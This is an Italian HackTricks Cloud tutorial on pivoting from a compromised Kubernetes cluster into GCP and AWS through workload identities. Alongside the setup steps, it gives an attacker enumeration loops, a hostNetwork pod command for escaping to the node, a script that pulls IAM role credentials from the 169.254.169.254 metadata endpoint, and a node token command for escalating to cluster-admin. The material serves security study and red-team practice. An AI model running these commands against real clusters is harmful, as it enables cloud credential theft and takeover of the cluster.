Kubernetes Pivoting to Clouds
Reading time: 13 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
GCP
Se stai eseguendo un cluster k8s all'interno di GCP probabilmente vorrai che qualche applicazione in esecuzione nel cluster abbia accesso a GCP. Ci sono 2 modi comuni per farlo:
Mounting GCP-SA keys as secret
A common way to give access to a kubernetes application to GCP is to:
- Crea una GCP Service Account
- Associa ad essa i permessi desiderati
- Scarica una chiave json della SA creata
- Montala come secret all'interno del pod
- Imposta la variabile d'ambiente GOOGLE_APPLICATION_CREDENTIALS puntando al percorso dove si trova il json.
warning
Pertanto, come attacker, se comprometti un container all'interno di un pod, dovresti controllare quella env variable e i json files con le credenziali GCP.
Relating GSA json to KSA secret
Un modo per fornire accesso a una GSA a un GKE cluster è legarli in questo modo:
- Crea una Kubernetes service account nello stesso namespace del tuo GKE cluster usando il seguente comando:
kubectl create serviceaccount <service-account-name>
- Crea un Kubernetes Secret che contenga le credenziali dell'account di servizio GCP a cui vuoi concedere l'accesso al cluster GKE. Puoi farlo usando lo strumento da riga di comando gcloud, come mostrato nell'esempio seguente:
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- Associa il Kubernetes Secret al Kubernetes service account usando il seguente comando:
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
warning
Nel secondo passaggio sono state impostate le credenziali della GSA come secret della KSA. Quindi, se puoi leggere quel secret dall'interno del cluster GKE, puoi escalate to that GCP service account.
GKE Workload Identity
Con Workload Identity, possiamo configurare una Kubernetes service account per agire come una Google service account. I Pods che girano con la Kubernetes service account si autenticheranno automaticamente come la Google service account quando accederanno alle Google Cloud APIs.
La prima serie di passaggi per abilitare questo comportamento è abilitare Workload Identity in GCP (steps) e creare il GCP SA che vuoi che k8s impersoni.
- Abilitare Workload Identity su un nuovo cluster
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- Crea/Aggiorna un nuovo nodepool (I cluster Autopilot non ne hanno bisogno)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- Crea la GCP Service Account da impersonare da K8s con permessi GCP:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- Connettiti al cluster e crea il service account da usare
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- Associare la GSA alla KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- Esegui un pod con la KSA e verifica l'access a GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
Controlla il seguente comando per autenticarti, se necessario:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
warning
Come attaccante dentro K8s dovresti cercare SAs con l'annotazione iam.gke.io/gcp-service-account poiché indica che il SA può accedere a qualcosa in GCP. Un'altra opzione è provare ad abusare ogni KSA nel cluster e verificare se ha accesso.
Da GCP è sempre interessante enumerare i binding e sapere quali accessi stai concedendo agli SAs dentro Kubernetes.
Questo è uno script per iterare facilmente sulle definizioni di tutti i pods cercando quell'annotazione:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (IAM role for Pods)
Un modo (obsoleto) per assegnare IAM Roles ai Pods è usare un Kiam o un Kube2IAM server. Fondamentalmente dovrai eseguire un daemonset nel tuo cluster con una sorta di IAM role privilegiato. Questo daemonset sarà quello che fornirà l'accesso ai ruoli IAM ai Pods che ne hanno bisogno.
Prima di tutto devi configurare quali ruoli possono essere accessibili all'interno del namespace, e lo fai con un'annotazione all'interno dell'oggetto namespace:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
Una volta che il namespace è configurato con i ruoli IAM che i Pods possono avere, puoi indicare il ruolo che desideri in ogni definizione di pod con qualcosa del genere:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
warning
Come attaccante, se trovi queste annotazioni in pods o namespaces o un server kiam/kube2iam in esecuzione (probabilmente in kube-system) puoi impersonare ogni ruolo che è già usato dai pods e altro (se hai accesso all'account AWS, elenca i ruoli).
Creare un Pod con IAM Role
note
Il ruolo IAM da indicare deve essere nello stesso account AWS del ruolo kiam/kube2iam e quel ruolo deve essere in grado di accedervi.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
IAM Role per K8s Service Accounts via OIDC
Questo è il modo raccomandato da AWS.
- Prima di tutto devi create an OIDC provider for the cluster.
- Poi crei un IAM role con i permessi di cui la SA avrà bisogno.
- Crea una trust relationship between the IAM role and the SA name (o i namespace, consentendo l'accesso al ruolo a tutte le SA del namespace). La trust relationship controllerà principalmente il nome del provider OIDC, il nome del namespace e il nome della SA.
- Infine, crea una SA con un'annotazione che indica l'ARN del role, e i pods che girano con quella SA avranno accesso al token del role. Il token è scritto all'interno di un file e il percorso è specificato in AWS_WEB_IDENTITY_TOKEN_FILE(default:/var/run/secrets/eks.amazonaws.com/serviceaccount/token)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
Per ottenere aws usando il token da /var/run/secrets/eks.amazonaws.com/serviceaccount/token esegui:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
warning
Come attaccante, se riesci a enumerare un cluster K8s, controlla la presenza di service accounts with that annotation per escalate to AWS. Per farlo, basta exec/create un pod usando uno degli IAM privileged service accounts e rubare il token.
Inoltre, se sei dentro un pod, controlla le env variables come AWS_ROLE_ARN e AWS_WEB_IDENTITY_TOKEN.
caution
A volte la Turst Policy of a role potrebbe essere bad configured e, invece di concedere l'accesso AssumeRole al service account previsto, lo concede a all the service accounts. Pertanto, se sei in grado di scrivere un'annotation su un controlled service account, puoi accedere al role.
Consulta la pagina seguente per maggiori informazioni:
Trova Pods e SAs con IAM Roles nel Cluster
Questo è uno script per iterare facilmente sulle definizioni di pods e SAs cercando quell'annotation:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Role a cluster-admin
La sezione precedente spiegava come rubare IAM role con i pod, ma tieni presente che un Node del cluster K8s sarà un'istanza all'interno del cloud. Questo significa che il Node è molto probabile che abbia un IAM role che puoi rubare (nota che di solito tutti i node di un cluster K8s avranno lo stesso IAM role, quindi potrebbe non valere la pena provare a controllare ogni node).
Per accedere al metadata endpoint del node devi:
- Essere in un pod e avere il metadata endpoint configurato ad almeno 2 tcp hops. Questa è la misconfiguration più comune poiché di solito diversi pod nel cluster richiedono accesso al metadata endpoint per non interrompersi e molte aziende decidono semplicemente di permettere l'accesso al metadata endpoint da tutti i pod del cluster.
- Essere in un pod con hostNetworkabilitato.
- Fare escape al Node e accedere direttamente al metadata endpoint.
(Nota che il metadata endpoint è a 169.254.169.254 come sempre).
Per escape to the node puoi usare il seguente comando per eseguire un pod con hostNetwork abilitato:
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
Steal IAM Role Token
In precedenza abbiamo discusso come attach IAM Roles to Pods o anche come escape to the Node to steal the IAM Role che è stato assegnato all'istanza.
Puoi usare lo script seguente per steal le tue nuove duramente ottenute IAM role credentials:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
Privesc to cluster-admin
In sintesi: se è possibile accedere all'EKS Node IAM role da un pod, è possibile compromettere l'intero kubernetes cluster.
Per maggiori informazioni consulta this post. Come riassunto, il ruolo IAM EKS predefinito assegnato ai nodi EKS è system:node all'interno del cluster. Questo ruolo è molto interessante, sebbene sia limitato dalle Node Restrictions di kubernetes.
Tuttavia, il nodo può sempre generate tokens for service accounts che girano in pod all'interno del nodo. Quindi, se il nodo esegue un pod con un service account privilegiato, il nodo può generare un token per quel service account e usarlo per impersonare il service account come in:
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
Riferimenti
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud